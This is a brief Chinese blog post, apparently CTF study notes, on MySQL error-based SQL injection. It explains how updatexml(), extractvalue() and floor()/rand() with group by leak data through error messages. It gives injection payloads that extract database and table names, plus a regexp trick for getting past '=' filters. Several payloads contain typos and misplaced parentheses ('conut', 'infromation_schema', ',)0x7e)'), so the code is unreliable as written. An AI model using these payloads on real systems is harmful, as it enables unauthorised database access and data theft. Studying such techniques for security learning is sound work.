sql注入之报错注入

1.updatexml()函数

updatexml(xml_target, xpath_expr, new_xml)接受三个参数,此函数将xml标记的给定片段的单个部分xml_target替换为新的new_xml,然后返回更改后的xml。如果xpath写入错误格式,就会报错,并且返回我们写入的非法内容,

获取数据库名

1 and updatexml(1,concat(0x7e,(select group_concat(database()),)0x7e),1)

获取表名

1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database(),)0x7e),1)

注:如果过滤了‘=’,可以用regexp进行正则式的匹配

或者是用in,MYSQL中in的使用方法:select * from test where filed in (value1,value2)。


2.extractvalue()

extractvalue(xml_flag, xpath_expr) extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要 xpath_expr有效,并且 xml_frag由正确嵌套和关闭的元素组成 - 返回空字符串。不区分空元素的匹配和无匹配。但是如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。

获取数据库 名

1' and extractvalue(1,concat(0x7e,(select group_concat(database())))) 

3.floor()

floor(x),返回小于或等于x的最大整数。

payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;

x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。

报错原因:主键重复,必需:count()、rand()、group by

分析链接:https://xz.aliyun.com/t/253#toc-2

 

报错注入还有其他函数可以用,比如updatexml(),extractvalue()等,一开始我用updatexml函数做,结果flag只能拿到一部分,以为是被截断,最后查了下,发现updatexml和extractvalue最大只能爆出32位的值,而且对mysql版本有要求,mysql5是可以,其他的没试过

 

posted @ 2020-09-21 16:02  kalistabc  阅读(266)  评论(0)    收藏  举报